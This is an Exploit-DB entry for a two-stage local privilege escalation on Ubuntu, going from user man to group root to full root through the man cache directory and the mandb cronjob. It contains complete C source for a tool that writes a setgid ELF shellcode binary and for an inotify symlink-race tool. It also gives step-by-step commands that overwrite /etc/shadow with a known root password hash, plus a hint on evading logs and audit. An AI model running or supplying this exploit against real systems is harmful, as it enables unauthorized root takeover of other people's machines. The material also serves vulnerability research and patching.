1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 |
/* EDB Note: man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/ CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c */ ## man:man -> man:root Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple: - Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately. - Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell - We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work. - I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes. - The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call. Program Invocation: Following sequence can be used for testing: </code><code> root$ su -s /bin/bash man man$ cd man$ pwd /var/cache/man man$ ls -al /proc/self/ total 0 dr-xr-xr-x 9 manman0 May 15 02:08 . man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg Completed man$ ls -al ./escalate -rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate man$ ./escalate /bin/sh man$ ls -al /proc/self/ total 0 dr-xr-xr-x 9 manroot 0 May 15 02:13 . </code><code> ## man:root -> root:root Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man. Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed. Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files: </code><code> man# find / -mount -type f -perm -0002 2> /dev/null /var/crash/.lock man# ls -al /var/crash/.lock -rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock </code><code> Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient: </code><code> man# mkdir -p /var/cache/man/etc man# ln /var/crash/.lock /var/cache/man/etc/shadow man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc ... Wait till daily cronjob was run man# cp /etc/shadow . man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x man# cat x > /etc/shadow; rm x man# su -s /bin/sh (password is 123) root# cat shadow > /etc/shadow; chown root /etc/shadow </code><code> If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there. - - - - - /* CreateSetgidBinary.c */ /** This software is provided by the copyright owner "as is" and any *expressed or implied warranties, including, but not limited to, *the implied warranties of merchantability and fitness for a particular *purpose are disclaimed. In no event shall the copyright owner be *liable for any direct, indirect, incidential, special, exemplary or *consequential damages, including, but not limited to, procurement *of substitute goods or services, loss of use, data or profits or *business interruption, however caused and on any theory of liability, *whether in contract, strict liability, or tort, including negligence *or otherwise, arising in any way out of the use of this software, *even if advised of the possibility of such damage. * *This tool allows to create a setgid binary in appropriate directory *to escalate to the group of this directory. * *Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c * *Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args] * *Example: * *# ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg *# ls -al ./escalate *# ./escalate /bin/sh * *Copyright (c) 2015 halfdog <me (%) halfdog.net> * *See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/resource.h> #include <unistd.h> #include <sys/wait.h> int main(int argc, char **argv) { // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80 }; int destFd=open(argv[1], O_RDWR|O_CREAT, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; int result=fork(); if(!result) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); argv[3]=suidWriteNext; execve(argv[2], argv+3, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(result, NULL, 0); suidWriteNext=suidWriteTestPos; //ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf); } fprintf(stderr, "Completed\n"); return(0); } /* EOF */ - - - - - /* DirModifyInotify-20110530.c */ /** This program waits for notify of file/directory to replace *given directory with symlink. *Parameters: ** --LinkTarget: If set, the MovePath is replaced with link to *this path *Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num] *--MovePath [path] --LinkTarget [path] --Verbose *gcc -o DirModifyInotify DirModifyInotify.c * *Copyright (c) halfdog <me (%) halfdog.net> * *This software is provided by the copyright owner "as is" to *study it but without any expressed or implied warranties, that *this software is fit for any other purpose. If you try to compile *or run it, you do it solely on your own risk and the copyright *owner shall not be liable for any direct or indirect damage *caused by this software. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> int main(int argc, char **argv) { char *movePath=NULL; char *newDirName; char *symlinkTarget=NULL; int argPos; int handle; int inotifyHandle; int inotifyDataSize=sizeof(struct inotify_event)*16; struct inotify_event *inotifyData; int randomVal; int callCount; int targetCallCount=0; int verboseFlag=0; int ret; if(argc<4) return(1); inotifyHandle=inotify_init(); for(argPos=1; argPos<argc; argPos++) { if(!strcmp(argv[argPos], "--Verbose")) { verboseFlag=1; continue; } if(!strcmp(argv[argPos], "--LinkTarget")) { argPos++; if(argPos==argc) exit(1); symlinkTarget=argv[argPos]; continue; } if(!strcmp(argv[argPos], "--MovePath")) { argPos++; if(argPos==argc) exit(1); movePath=argv[argPos]; continue; } if(!strcmp(argv[argPos], "--Watch")) { argPos++; if(argPos==argc) exit(1); //IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS); if(ret==-1) { fprintf(stderr, "Failed to add watch path %s, error %d\n", argv[argPos], errno); return(1); } continue; } if(!strcmp(argv[argPos], "--WatchCount")) { argPos++; if(argPos==argc) exit(1); targetCallCount=atoi(argv[argPos]); continue; } fprintf(stderr, "Unknown option %s\n", argv[argPos]); return(1); } if(!movePath) { fprintf(stderr, "No move path specified!\n" \ "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \ "--LinkTarget [path]\n"); return(1); } fprintf(stderr, "Using target call count %d\n", targetCallCount); // Init name of new directory newDirName=(char*)malloc(strlen(movePath)+256); sprintf(newDirName, "%s-moved", movePath); inotifyData=(struct inotify_event*)malloc(inotifyDataSize); for(callCount=0; ; callCount++) { ret=read(inotifyHandle, inotifyData, inotifyDataSize); if(callCount==targetCallCount) { rename(movePath, newDirName); //rmdir(movePath); if(symlinkTarget) symlink(symlinkTarget, movePath); fprintf(stderr, "Move triggered at count %d\n", callCount); break; } if(verboseFlag) { fprintf(stderr, "Received notify %d, ret %d, error %s\n", callCount, ret, (ret<0?strerror(errno):NULL)); } if(ret<0) { break; } } return(0); } /* EOF */ |